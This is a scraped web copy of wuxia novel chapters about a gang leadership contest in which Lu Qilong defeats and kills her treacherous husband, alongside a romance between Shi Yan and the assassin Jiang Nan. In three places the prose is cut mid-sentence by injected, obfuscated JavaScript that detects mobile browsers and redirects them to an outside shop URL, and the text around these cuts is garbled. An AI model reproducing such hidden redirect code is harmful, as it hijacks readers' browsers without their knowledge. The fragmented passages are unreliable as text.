“我不知道,但是我没打算瞒你。”江南道,“当日宋西州看见我手里的刀了,想必告诉了宋酬雌。所以澄清大会上我和宋姑娘交手,她出尽招数,只为逼我出刀一看究竟。从几天前你把她从江里救下起,我就知道她迟早会告诉你,她怀疑我的事。” “既然我们只是怀疑,迄今为止也没人见过卷云刀究竟是否雕有梅花,你又何必自己倒承认了。”石焉说出口以后才意识到自己的声音才颤抖,才后知后觉发现眼泪滚落下来,酷暑炎天,泪胜滚汤。 江南不知道画像的事,以为宋酬雌没有实证,却还是毫无隐藏。石焉不知道,他是从何时起对自己建立了这不该的特殊信任,又或是在他眼中杀人害命只是一件寻常营生,无需遮谎?可她又分明回想起几天前大伙议事,每次提起宋酬雌他都面色古怪,那神色里分明是愧疚与痛苦。 “我当真不想瞒你,救下宋姑娘后我就时时想着坦白。可当时急着先去接石方,然后就到今天了。”当时众人相处一堂,不到半天他就直接骑马扬尘去了,的确匆忙。 石焉回想当日,他说要替自己去接石方,她也曾感动鼻酸,可那时眼中盈盈之泪是心疼他辛苦更甚其他,与今时今日之泪已经全然不同了。 可坦白与否并不是关键要义,杀人才是。 “江南,我知道你不是天生就残酷之人,否则你大可以趁酬雌昏迷而灭口,更大可以在当初就杀了手无缚鸡之力的宋西州。”石焉神色变得有些激动,一时间有些心不由主,面颊连同脖颈一并红了起来,她继续道,“收手吧,不如和我一同离去。皇宫是个杀人不见血的窟窿,我不希望你最后变成这个漩涡里的无名卒。你有一身武功,江湖里自可有别的作为,你该是光明正大地行侠仗义,而不是卑躬折节,屈作爪牙。” 江南心中猛地一动,他唇齿微动,似欲言语。 几天前,临出发,赴江陵,他翻身上马,驱绳起步,迈过大院门槛时他曾回身看去。 美梦竟凭空现于眼前。 庭中树如盖,长空风乍起,石焉的天水碧裙隐约居于飘叶之后,两条月白长袖,轻裾随动,身后人如画,恰似西子湖边,白石桥上,他亦曾惊鸿一瞥。 可西子湖边两人仅是陌路,宜城院中她却在为我即将远行而出神挂心。 但是,现在呢,我们是否又要再成陌路? 江南想道。 一个师父,一个师弟,两个师妹,虽然死了一个,江北亦有做 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17253652|197975||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 工,但剩下两人还要靠他的月俸过活。自八岁时认识殿下,就日日盼着有任务,因为那样才会有银子,十一岁终于开始正式为殿下效力,也是从那时起,每月得的赏银便可抵得上从前师徒几人一年的开销。 而师弟,不像自己,他是个有骨气的,看不上王府贵人,因此每月给他的银子都又被他偷偷贴给了三师妹,自己若有多余的,再全部奉给师父。 师父…虽然嗜暴,可她毕竟从小把自己养大,为屿王效力的事也是师父牵线搭桥,百般荐举,那时候殿下尚未封王建府,而是常常带着小顾出宫到卷云洞来,自己原一字不识,在殿下和小顾一同的教习下识得几字,有他们与师父口诵,才勉强可看懂武籍心经。 殿下,他永远是我主上。 即便我私视他是兄弟,是大哥。 脑海里霎时间百桩旧事过,千言万句现,他神色闪烁,唇齿开合,然而最终还是暗灭下去。 只说了最后这句,“焉儿,我同你一道离去,我杀了宋姑娘的师父,若日后狭路相逢,我与她必是要你死我活的。到时你怎么办?” 石焉愣住了,她想起宋酬雌离开前告诉自己,她不是不想报仇,只想遵循母亲临终之嘱,可师父再次丧命后,她心中依然不决,她恨自己优柔寡断,恨自己拖泥带水。石焉几日间和宋酬雌交往对谈,心知她并不愿冤冤相报,仇恨世叠。因此澄清大会上她亲眼看到江南却仍无法轻易认定他是凶手,也是为自己苦苦寻找,却又没能真正超越仇家而求的藉口。但即便宋酬雌也许到不了如江南所说必定到你死我活的那天,石焉也深知她没有资格替任何人,说出能放下师恨世仇的话。 两人的希冀星火都灭的很快,石焉没办法把一个卑屈成习的王府刺客带去浩野江湖,江南也不可能把一个心意已决的石焉带回皇室血窟。 石焉的脸色已经恢复到恬静如常,她道,“你别担心交不了差,你随我完襄阳无妨,走完这一遭,我跟你一同回王府,我来向兄长解释,正好有些事,我也想问问他。” 江南“嗯”了一声,转过身去拴马,背后衣衫竟隐有血点渗漏。 “江南,江…公子,”石焉忙道,话出口才觉不妥,似乎自己刚才情急时已然越过数次分寸,她改口后继续道,“你背上的鞭伤似是漏血了,进屋来我帮你重新上药吧。” 江南随她进屋后,自然地褪去上衣,他听到石焉的声音,已经变回了第一次屿王府中上药时的那样的柔和温婉,也透着有礼自持,“这几日你跑马来回,定是牵动伤口了,这才有几条有些复裂,不过其他大部分都已经好了。” 她重新缠紧纱布,又道,“好了。这次上完药,等再结了痂,就基本上全好了。” “多谢你,石焉姑娘。”江南咬咬牙,他无论如何都没有勇气再似刚才那样放肆相称了。 好像此刻这个称呼乍下入耳,石焉才猛然想起,不久前他曾突兀唤过一句“焉儿”,只是当时未觉,似是自己心深处所盼,又似是彼时情彼时景,就该当至此。 “无妨。” 江南合好外衣转过身来,又道,“对了,你这次离府,殿下给你的盘缠你都没要,现在身上可还有银子花吗?我这里还有…” “我够的,你放心。归留园跳舞那日,略带去了几位新客和贵人,师姐给了我报酬。再说了,还有伯母和九顷水帮,我饿不死。” 相对默默,再无多言。 往后四日路程,两人紧赶,正好于七月二十赶到襄阳。到了现场,还有一个时辰就是大会约定好的时间,只是二人心中奇怪,一路进城,都未见石曾忆身影,还未思索完毕,就见到陆其陇英姿勃发,朝气走来。 石焉心中不安,她不敢此刻告知石方之事,更不愿编谎骗她。她长长呼了口气,权衡之下还是告诉了实情,眼看着陆其陇脸色一点点失落下去。 “看见你身边没带着方儿,我就猜到了。”陆其陇定了定心神,道。 石焉与汪温言等人正要开口相劝,不想她自己先道,“眼下什么都没有帮内大会重要。石曾忆那混账到现在不露面,也不知道又在做什么幺蛾子。老娘也不是吃素的,等拿下了帮主,再让众分舵帮我留神方儿下落。那厮心狠手辣,自私利己,若他做了帮主真未见得会多用心去找儿子。你们放心,我不会再颓废消沉了。” 几人闻言皆是大喜,各自忙碌准备了一番。眼看着帮内十二位分舵主皆已入场,又各自带了一队舵中弟子,浩浩荡荡,万头攒动。 石焉换上一身干净衣服,重拢如瀑厚发,挽髻于后首低处,左右各插一根桃木簪,又特意扎起袖口,做武家打扮,半裙色如辰砂,只为陪衬陆其陇的明艳红衣。 “各位舵主,晚辈石焉,今日冒犯,斗胆主持帮内大会。”照事先说好的,石焉踏步而出,她依江湖规矩向众人抱拳行礼,大方从容,丝毫不怯,仿佛只是在自家院中闲庭信步,她走至三面台正中,才又继续道,“只因爷爷醉心武学,已于澄清大会后闭关修炼,至今未出,但特意命我替他前来。所以现在,我将要说的以下言辞,皆是转达他老人家的原话原句。” 突然人群后传来一洪亮男声,“这帮内大会明明是受我传信,由我组织,怎么就变成你是主人了?石焉丫头,可别假借义父之名,行以权谋私之实啊!” 13. 第三章第四节 众人纷纷避让,只见来者黑眉生亮,大眼如炬,鼻高唇薄,五官浓烈似酒,面目俊朗,宽厚肩背,身高体壮,黑发锃亮,一身灰色短打,正是石曾忆。 “诸位且看我手中九顷总令,这块石佩是义父亲手交托。如石焉丫头所说,义父如今正闭关修炼,且他老人家已将水帮的这块总令传于我,命我接替帮主之位。今日帮内大会,正是召集大家,宣布此事。” 石曾忆几步迈上台,大摇大摆站在石焉身侧,他手中明晃晃举着一块石佩,长约四寸,宽约两寸,底部密密刻了数圈水波纹,上书苍劲有力的四字楷书——九顷听命。 石焉细细分辨,的确是爷爷手中真实的令牌没错,他们祖孙二人在上京路中就已发现令牌不见,两人都料到是石曾忆趁爷爷中毒晕厥时所窃,因此石焉此刻并不如何惊讶,她早有准备。 “伯伯说的是,爷爷传令于你时我就在旁边,伯伯忘了吗?” 石曾忆不知石焉在搞什么鬼,但既然她佐证自己说话,便也先跟着点头说是。 石焉又道,“只是爷爷给伯父令牌的意图,是为了让伯父召集大伙儿来襄阳一聚,举行帮内大会。而不是已经将帮主之位传给了伯父。” “小姐,你刚才说帮主有话要你传给大家,就请你先把帮主原话复述给咱们吧!”台下的二舵主先道。 “好!请诸位听好。”石焉再次向众人抱拳行礼后道,“九顷水帮自成立以来三十余载,也算是饱经风霜,久历考验,从一开始我石难黎孤身一人,到建总舵于登州,后遇二舵主、三舵主愿意追随,再至十二舵散布天下,九顷有今日,是石某之幸。 然石某并无子嗣,亦无学徒,平生仅一副方圆六掌法尚堪留传,好在我有义子曾忆,又得儿媳其陇,便将掌法传于二人。我近期偶得武学妙思,感悟颇多,因此决定闭关修习,盼能再有武功进益,然试练过程凶险,为保无虞,我特意将九顷总令暂交于曾忆义子。” 石焉说到此处,特意加强了“暂”字和“义子”二字的读音,再继续道,“命其牵头帮内大会,意在他夫妻二人中推举出新帮主。由于曾忆既为总舵主,又身在其中,因此人选归落谁首,全凭剩余十一位分舵主做主。” 众人听到此言,便一下子喧哗起来,石曾忆嗤笑一声,悄声道,“原来你打的是这个主意。” “可自古以来就少有女子掌权者…”台下人群中传来一质疑声,是六舵主。 “既然少有,那从今天起变多不就是了!”陆其陇从台后的屋中走出,她甩手掸开短装下摆,大步流星,身姿矫捷。 卿轩以带着十二分舵在台下最右侧,他看着英姿飒爽的陆其陇,短暂地愣了愣神。 二十年前,陆其陇和汪温言还只是结伴游历江湖的少女时,两人刚入九顷水帮,一日经过一片村子,曾顺手救下过一名正被赌坊打手围打而奄奄一息的半大孩童,据说那孩子的父亲嗜赌,已经卖了亲娘作娼,现又赔上儿子的性命抵债。两人带着孩子找到青楼时,发现那女子刚被弃尸在了后院,入夜便会拉走。 十二岁的卿轩以抬头去问救命恩人的姓名,其中一位少女一袭红装短打,利剑藏于鞘,脚下白靴踩满了灰泥,但她面上朝色蓬勃,意气风发,她蹲下身子道,“天将降大任于斯人也,必先苦其心志,劳其筋骨。好男儿志在四方,你好好努力,你娘在天上等着看你的好出息。将来若是无处可去,就来九顷水帮找我们。” 卿轩以投身九顷以后,在帮内的一些大事上见过几次汪温言,却没再见过陆其陇。他只向汪温言道明过身份和当年事,与其成了莫逆之交,而后他向其打听陆其陇去向,后者才告诉他陆其陇已经和帮主义子成亲,做了总舵夫人,开头几年还常常出面带船走帮,然而或许是因为如此,耽误了身体,迟迟无子,她便多居于灶台后院,虽仍参详帮中事务,却越发少抛头露面了。 如今她神采飞扬,英姿焕发,卿轩以注目望着,由衷高兴,二十年前她救过自己这个被“家”祸害的孩子,二十年后她又身陷同一种囹圄。 不过好在,她懂得自救。 “夫人,你一定要这样吗?我做帮主,你仍然是帮主夫人,你与我之间有什么好争的!?”石难黎背过身去,小声对陆其陇道。 “我要的是帮主,不是那个后缀之名。”陆其陇也维持着面上的和气小声回道,只是怎么看都是一副皮笑肉不笑的姿态。 “夫人,且不说女子男子本就天生身体上有差距,练武行船都是男子更有优势。再者,在下说一句难听的,石总舵主毕竟是帮主义子,您又不姓石。这自古上至君位,下至家业,向来都是父传子,爷传孙。”六舵主不疾不徐道,“帮主可以说在您和总舵主之间选能者任,但是您如何真的能出来相争呢?” “六舵主。帮主说的清楚,他意在推选新帮主,而非找石家后人,更何况帮主深明大义,连他都未曾有男女差念,您却为何如此执着?”陆其陇与六舵主年龄相当,因此说话并没有太越过辈份。 “六舵主!”石曾忆突然插进话来,他挥挥手阻止正要张口继续分辩的六舵主,又道,“内子虽为女子,但的确治家有方,也十分能干。这么多年来,我在总舵忙活,她在家中操劳。虽然石方出生后便被义父接去了杭城,未与我们生活在一起,但是家中琐碎之事,仍是多得很呐!一点都不可掉以轻心,我能带着大伙把帮内事宜都处理得当,多亏了夫人替我打理好后院。” 陆其陇一听,顿时火从心起。石曾忆这番话,听上去是在为她说话,但实际不仅将功劳都揽到了自己身上,更是抹去了她为水帮所做的的一切付出。仅把她归之为一个深院夫人,最多也就是个能干巧妇,要想成为水上第一帮的帮主,怎么可能呢? 她刚要张口驳斥,便听到台下的汪温言先开了口,“总舵主,咱们各处分舵都久闻您对夫人温柔体贴,今日一见果真如此。既然您也觉得夫人忙碌劳苦,颇具才干,不如就按帮主之意,与夫人共同竞争帮主之位吧!” “三舵主一向沉默寡言,又洁身自好,少理凡俗。今日倒对选新帮主一事很有看法。不像维护帮主,倒像抱团。”七舵主突然站出来道。 “呵呵,”陆其陇冷笑一声背过身去,悄悄对石焉道,“刚才六舵主帮石曾忆讲话他倒什么都不说,这会儿温言帮我两句竟成抱团了。” “诸位!”石曾忆向前两步,他仍作一副大度样子,大声道,“既然义父有令,我势必要遵从。可惜义父没说如何比法……” 说到这里,他故作出一副为难的态度,在台上踱步几个来回,才继续道,“石焉丫头刚才说义父曾提起向我二人传授过方圆六掌,不如就以义父亲授掌法相比,三掌定胜负。第一掌仅切磋招式,掌法中六套招数你我任择其一;第二掌仅比试内力,咱们商量定下其中一招,再都出此同一招进行对掌。若此时还不能分出胜负,那么第三掌就各出各招再佐以内力。三轮皆以先掉下擂台者为败,如何?” 他笑眯眯地转过来看向陆其陇,又道,“不过夫人放心,第一掌摆摆招式,不会受伤。而第二掌,我也一定点到为止,绝不伤了夫人。至于第三掌嘛,自然是能避免则避免,也不会扰了和气。” 陆其陇心中暗笑,他以为自己虽得义父传授,却从未练习过,才会如此明目张胆地主动提出比拼掌法,可他无论如何也想不到,此计正中她下怀。 她当即便潇洒应下。 众人见两人已商议定下,便也无人再多话,都等着看这场闻所未闻的夫妻对掌。石焉也悄然下台,朝混在角落里的江南走去。 “刚才我按照你所说,一直在门外等石曾忆入场,我看到他在进来前,反复检查胸前内袋,看样子像藏了暗器。”江南双手抱于胸前,低头用拇指刮了刮额头,轻声道。 “好,我知道了。”石焉带着消息穿过人群,去到了汪温言身边。 “我先到的那几天,只来得及说动五舵主,他平日离我近些,交情也好,已经答应了我会支持其陇出任帮主。”汪温言见石焉过来,低声道。 “目前看来,只有七舵主是明确站在伯父那边的。也不知道他还有没有拉拢其他人?”石焉也同样压低声音回道。 “怎么?难道你不觉得六舵主更明显是石曾忆的人吗?” “我看未必。六舵主是有些男女执念,但没到不分是非的地步,您且等着看。”石焉面色一转,道,“方才江南告诉我,伯父在衣服里藏了暗器,等下还要您帮忙盯着,护住伯母别让她受伤才好。” “小人。”汪温言恨恨道,“不过我明白你的意思了。若他真敢用暗器,就盼如你所言,让六舵主看清他的为人。” “不错,他这么做是自封后路。咱们九顷的十一位分舵主都是爷爷亲定的,他鲜少选错人,就算其他的分舵主咱们没来得及打招呼,我相信他们也一定不会支持一位狠毒小人做大家的新帮主。” 两人话毕,便抬头向台上望去,陆其陇和石曾忆已各分一端站好,石曾忆道,“二舵主,便请你来宣布开始!” “第一掌——”二舵主的声音浑厚悠扬地传了出来。 石难黎向前一步,扎稳马步,他右掌朝天,左掌压地,正是方圆六掌中的最高一套,即第六式。此招要求用掌者内力深厚,且精神专注,使用时不求动作快慢,只求每一步骤都精确到位,双掌画圈动乾坤,首尾相连游天龙。 “排浪洗空,和而不同。他用了最后一式。”石焉道,“此招按日晷上的十二地支所创,每一时辰对应一个掌圆方位,是最见功力的一招。爷爷用来自能天下无敌,可他方才掌圆画的潦草,卯、午、寅、戌,四个时位都未冲到,而且他选择用这一式,不过是因为第一回合不必用内力,企图占据招式上的便宜。可惜破绽已经暴露,只要伯母抓住,便是只用第一式,也能赢。” 果然,她话音刚落,就见到台上陆其陇竖步而立,她似是成竹在胸,双掌大开,往前猛上两步,上掌压低,下掌托起,正是第一式。待她至石曾忆面前,见其双掌已经绕满一圈,作势正要运转第二周,以弥补首周中遗漏的时位。陆其陇当机立断,迅速出掌,两手连续斜劈,凌厉掌风登时破开卯、午、寅、戌四个时位,石曾忆塑造的屏障瞬间被斩断,他反应不及,被逼得连连后退,已到了台边。陆其陇乘势而上,左掌微晃虚张声势,右掌则延卯时位的漏洞直向上去,转眼便停在了石曾忆颈旁,只要稍用内力,脖子便能劈断半根。后者大惊失色,忙向后仰去避让,虽是单脚后撤落下台去,终也是败了。 这一回合,陆其陇胜的干净,利落。 “你什么时候偷练了义父的掌法!”石曾忆显然是没料到对方竟然对方圆六掌会如此了解且熟练,显然是对每招每试都仔细研究过,他先输一局,也顾不得表面功夫了,大声怒道。 “总舵主慎言。”卿轩以驳道, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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两人掌力相贴,陆其陇的内力分配得当,确保源源不断,她见石曾忆的左手迟迟不出,未防对方再使阴招,因此一直留有后力。石曾忆虽是单手对掌,但使尽全力,因此勉强可对抗到现在。如今已过去了一炷香时间,石曾忆右臂动摇,渐显疲态。 就在此时,他似乎是再也支持不住,当即决定食言单手之约。他左掌运力向上举起,待至胸前时,似是在衣前轻轻擦过了一瞬。 只这一瞬,便立刻让台下的汪温言引起了警觉,她紧盯着石曾忆的左掌,果见其突地发难,左掌猛然向前拍去,一根银针从指缝间射出,直朝陆其陇颈前命脉处飞去。 “铛铛”两声,从台下两个方向各自射来两枚石子,同时撞开银针,落于地上。汪温言弹出石子后,见另有一人与自己一般地默契出手,便循方向朝台侧的角落里看去,江南手掌里摞了一叠碎石,正掂量着把玩。 而再瞧回台上时,陆其陇显然是被这突如其来的暗器吓了一大跳,她为躲袭击,便也顾不得比武了,急忙撤去双掌向旁侧铺开,脚尖轻点,仰甚其身,向后急速跃去。而与此同时,救下她命的两枚石子砸到,银针应声而落,陆其陇心知定是汪温言出手相助了。她见危险已消,然自己几至擂台边缘,眼看就要仰下台去,她一脚用力顶住台柱,另一脚死死叩抓地面,来不及挺腰起身,便整个人悬空僵于台缘,并不算落下台去。 石曾忆故以单掌比试,就是为了留于暗器。此刻见暗器无用,对方又未落台,他更要一不做二不休,拼力再起一掌,隔空相击,掌风呼啸而至,陆其陇眼睁睁看着,双手双脚此时却都在维系平衡,并腾不出其一来接招应对,只得硬挨下这一掌,掉下台去。好在石曾忆也以内力怠耗,这一掌虚有其势,并不能让她真正受伤。故台下人也并未再行插手。 不过第二回合,陆其陇却是败了。 “你竟然要杀我?!”陆其陇站在台下,看着台上得意洋洋的石曾忆,感到万分不可思议。 “要不是当年我看上了你,你能从一个无名门派的小女成为九倾的总舵主夫人吗?!”石曾忆丝毫没有注意到台下诸人同样错愕的神情,仍沉浸在自己赢下一局的喜悦中,继续道,“成亲后数年你不守妇德,天天抛头露面,出船走帮,导致三十多才给我生下儿子!可你不仅不愧疚,今天居然还要和我抢帮主的位子,陆其陇,你也太贪得无厌了!” 石焉转头看向其他分舵主,石曾忆此话一出后,众人都是面色大变,尤其是六舵主,几欲张口驳斥,最终都强行忍住了。而七舵主,也双眉紧锁,他扭头向八、九、十三位分舵主看去,几人都是一般的朝他摆手摇头。石焉看他们的反应,心里明白,这三人应该是石曾忆拜托七舵主拉拢的人选,可如今看到这幅场面,他们作为心中有义者,自然是铁定不会再支持他了。 “贪得无厌?”这边石曾忆的话声刚落,卿轩以便道,“这话总舵主说来倒刺耳,您非帮主亲生,得其养育多年,又有总舵主之位,却还不知足,甚至为争帮主而对结发妻子痛下杀手,以暗器这等武林中人都不齿的行径要人性命。您口中言之凿凿,却不知心里是否由衷。” “第三掌——”二舵主威严的声音打断了刚欲再辩的石曾忆,他目光如炬,沉稳宣布道。 陆其陇已经对丈夫失望透顶,不欲与之逞口舌之快,她闭目凝神片刻,再睁眼时,已重新整理衣衫,运功调息,跃回台去。 14. 第三章第五节 石焉见陆其陇动了大怒,有些担心她急中出错,不由得捏紧了双拳,却忽然感到一阵暖意,是汪温言来拉住了她的手。 她道,“别担心。其陇这几年性子都被消磨平了,遇事也不如以前果断坚毅,总是犹犹豫豫,唯唯诺诺的。你担心是因为你从来没见过这个样子的其陇,其实现在的她才是找回了以前自己的影子,懂得生气,知道反抗,戢暴锄强,才是她的本色。”她微微笑了一下,继续道,“现在的愤怒,正好帮她把方圆六掌发挥到极致。” 石焉抬头看去,果见陆其陇此刻正势破云天,气冲山河。 就让我教教你真正的排浪洗空,是怎么打的。陆其陇心道。 她跃上台后,三步并作两步直朝石曾忆而去,一套招数漂亮流畅。石焉由衷钦佩,从前石难黎为了教小石方,也在家院中演示过数次,她每次在旁围观,都觉得这套掌法爷爷做来气势雄壮如能吞山河,而今陆伯母做来则潇洒飘逸更天马行空。 “竖掌斜劈,乘隙破风。”石焉看着陆其陇的连贯招式,配说道。她见伯母现在用的仍是第一招,推测她应该是打算按顺序把六招用个遍,彻底打服石曾忆。 “这是第一式,飒沓流星。”石焉继续轻声道。 “这是第一式,飒沓流星!”而与此同时,台上的陆其陇,也边攻边向石曾忆喝出了一模一样的话,两人几乎异口同声。 陆其陇掌掌到位,把场面活脱脱变成了师父教学徒儿。石曾忆反应不及,不得已同样使出了第一式来格挡,然而他上一回合内力耗费,此刻尚未恢复,不似陆其陇之前缓缓舒展内力,一直留有后手。因此他速度远远落于对方之后,几乎每一掌都被率先打落。陆其陇势如破竹,也丝毫不给他喘息的机会,接连攻去。 “疾刮厚风,削霜飞花。”台上进至第二招,石焉同样轻声解给汪温言。 “这是第二式,吴钩穿雪。”陆其陇大声道。 石曾忆已经手忙脚乱,无可招架,他双手乱舞,早已不是方圆六掌的招式,行为可笑,窘态百出。陆其陇乘胜追击,紧接着便出第三招。 “借暮风,倒江河,撼重柳。”石焉道。 “这是第三式,白首青云。”陆其陇道。 三招过去,石曾忆已经被逼到了台角,马上就要掉下台去,陆其陇却戛然收手,她嘴角微扬,面上却冷若冰霜,她淡淡看着石曾忆。这个和她一起生活了十数年的男人,她再了解不过,若换了旁人,丢脸至此自然宁愿下台求去,可石曾忆不会,只要还有一丝机会能赢,他都会死乞白赖留在台上。 果然,石曾忆趁她收手,从边缘又跑回了场中,他气喘吁吁,此刻也顾不上能说会道了。陆其陇转过身去看他狼狈不堪的模样,只觉得解气爽快,她给足了他时间站好,立稳,然后双掌架起,第四招便即袭来。 “观象于天,观法于地,类鸟兽神明,达万物之情。” “这是第四式,腾蛟起凤。” 陆其陇将石曾忆逼的绕场直退,不停画圈沿边奔逃,这正是陆其陇想见到的。第四招的掌势如蛟如凤,蛟掀千层浪,凤扇万里云,浪分前后,云布左右,刹时漫天皆是掌风。由此对方步履必定全被打乱,只能四处躲散,却不知这正是第四招故意所纵,实则是为了接下来的第五招做足准备。 “掌接乾,脚跃坤,下封南浔,上控北辰,势极地深,柱高天远。” “这是第五式,星海萦回。” 石曾忆此时已到了无处落脚的地步,周身犹如被天罗地网罩盖下来,无法可施,只能等待着即将来临的最后一招。 石焉接着道,“双掌画圈动乾坤,首尾相连游天龙,天圆地方,和而不同。” “这是第六式,排浪洗空!” 陆其陇道完这句,便继续周密运转十二时位,她有意要石曾忆看清自己差在何处,因此故作演示般地,放慢速度,将每一时位都严谨带到,又两两之间圆顺划过,最后凝力于掌心,狂风巨力似猛浪滔滔其天,大潮翻覆,高涌入云。 石曾忆在掌力的裹挟中已然分不清东南西北,天地乾坤,他眼睁睁看着对方越逼越近,而自己竟使不出一掌可以稍作抵抗的。此般风卷浪花上层云,本该是一片混沌景象,然陆其陇的掌风虽看似一体,实则上下分明,各自澄澈明朗,天罗地网中自有严规苛矩,圆方天地间自留和与不同,这正是方圆六掌的境界。她携怒气而来,石曾忆再无可避,情急之中随意使出一掌,既无章法,也无力量,在此刻的陆其陇面前根本如卵击石,二人甚至没有双掌相接,石曾忆就先被陆其陇的掌力震了出去,重重跌落在台下。 第三回合,陆其陇大获全胜。 然而此时,陆其陇毕竟对方圆六掌还未到至臻境界,只是她日日的努力胜过了石曾忆长久的懒怠,加之她一套掌法皆是在急火攻心下打成,冲冲怒气虽助她发挥出了超常水平,却也让她无法实时歇力停手。她收掌不及,自己也跟随着惯性一同踉跄扑下台去。 而石曾忆这边,他连受六掌下来,已经身负重伤,跌坐在地上,一口鲜血喷出。众人见此情景,便知大局已定,可石曾忆看着陆其陇跌落在自己身前,依旧贼心不死,心中旧念又出,只要她丧命于此,帮主之位就必是自己的,他从胸前又摸出一枚银针,再次朝陆其陇的嗫嚅死穴打去。 汪温言和江南看见石曾忆摸暗器,二人皆默契地扣了石块在指间,但都没有急着发出,因为他们均瞧见了陆其陇握在剑鞘上的手。电光火石间,“叮”地一声银针一截两段。 是陆其陇自己,她迅速从腰间抽出一直未得离鞘的长剑,反握剑柄挡于眼前,暗器飞到时只离面孔差了不到一寸,银针先碰到剑面上,发出清脆响声,她手中立刻用力,横翻长剑,银针便即被一斩为二。 “你害了我少年岁月,现在还想害我的命吗?” 陆其陇用剑撑起身子,走到石曾忆身前,道,“事不过三,你两次想杀我,那么第三次,就由我来杀你。” 石焉见陆其陇盛怒之下要下杀手,刚欲张口阻拦,一声“伯母”还未叫出口,已被汪温言伸手按下。 再拦已是不及,只见石曾忆脖颈处喷射出长条血柱,命丧剑下。 “九顷听命!”陆其陇当即从他腰间扯下令牌,高举手中,大步回到台上。 “参见陆帮主。” 十二分舵主无一有异议,均带领各舵弟子,低首抱拳,行礼作揖,参见九顷水帮第二任帮主。 “蒙诸位支持,从今日起,我陆其陇既任九顷帮主一天,便一定会凡事皆以帮内为先,承石帮主立帮之志,和诸位一起,匡扶正义,振兴武林!” “是!” 大会后,陆其陇交代十二分舵主帮其留神石方下落,待众人陆续散场,又和汪温言等人分别去镇上铺面给石曾忆定了棺木,选好下葬的时日,再回来时已是晚上。 陆其陇不顾形象,直接瘫倒在了台子上,睁眼便是漫天星辰。 都说人死后会变成星星,她认真地瞧着,似乎在看哪一颗是自己不成器的丈夫,夜来风冷,竟吹迷了眼,那微小的粒粒光点就汇集去了一起,变成圆而模糊的累累斑迹,再变成大片不清的光环晕轮,又突然随着眼睫的一眨,而瞬间消逝,恢复到最初的月朗星明。 汪温言也跟着一起躺了下来,她侧过头去,瞧见陆其陇脸上的泪,正顺着眼角淌进耳后的头发里。 “其陇,不必愧疚。他背叛良心,害人终致害己,你这是为帮除害,也是救赎自己。”汪温言停顿了一下,又道,“不过其陇,有句话可能难听,但是我必须要对你说。今日你如愿当上帮主并不是因为你的方圆六掌打的多好,而是因为对手太弱,且失了众分舵之心,才成就了你。往后之路既阻且长,你需得永记今日之心,好好研习石帮主的掌法,不达至臻境界不罢休。” “你放心。我向你保证,一定每日练习,雷霆不休。”陆其陇继续道,“往后帮内事务众多,虽有在总舵历练过几年的经验,但比之全帮上下不过也是九牛一毫。温言,以后你得多帮我。” “这个自然。”汪温言转过头去安慰她道,“丈夫会背叛你,但是我永远不会。” “我也不会!” “我也是!” 陆汪二人坐起身来循声看去,卿轩以和石焉正站在不远处的屋门外,他们身后的灶台上还冒着热气,一缕微风跑进屋里,卷出一阵烟火香,距离明明尚有几分,却熏的陆其陇双眸又凭白起了雾气。 江南手中举着火折子,从灶台下面钻了出来,他面上沾了些黑灰,见石焉与卿轩以言之切切,也跟着道,“以后若九顷有需要,在下愿尽绵薄之力。” “多谢几位。”陆其陇站起身来,她借着拍衣服上的灰尘,偷偷擦去眼泪,然后故作潇洒地,大步流星向几人走去,然后朝石焉道,“焉儿,如今我已成帮主,义父那就拜托你照顾了。我一得空便去看望他,有朝一日义父身体康复,我立刻双手交回帮主之位。” “伯母放心,我过段时间便去徒太山,往后应该都和爷爷在那里定居了,我会照顾好他。” “好。还有…如今总舵主之位空缺,我的意思是由你来担任。”陆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17253654|197975||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 其陇顿了顿道。 “这万万不可,伯母,我…” 石焉刚想婉拒,又听陆其陇道,“你无需回登州总舵时刻坐镇,更不用带船走帮,挂名在此即可。”她言辞恳切道,“只当是帮我。” “是啊,”汪温言接话道,“小姐,今日你也看到了,帮内对男女之见耿耿于怀者不在少数,但若帮中重要首领皆为女子,那么日后其陇说话,也会更有分量些。” “若我有武功,能掌事,我定不推辞。您和汪舵主说的在理,若重要首领多为女子,想必世间会大有不同。但我觉得…正因如此,我身为女子应作表率,脚踏实地,不能似那些人居不配之位。我既不会武,也从不涉帮务,空居水帮高位,只怕还要害伯母你落下口舌,反不利于服那些抱偏之众,给日后留下隐患。” “焉儿说得有理,那便先暂空,由我兼任。日后再选能者居之。”陆其陇点点头,“但这枚行船令…”她从怀中拿出一枚总舵的行船令交给石焉,那是石难黎当年所赠的一支海蓝色羽形钗,“如今我已任帮主,自然是一张九顷令比什么都好使。这枚行船令我给你随身带着,不许推辞。” 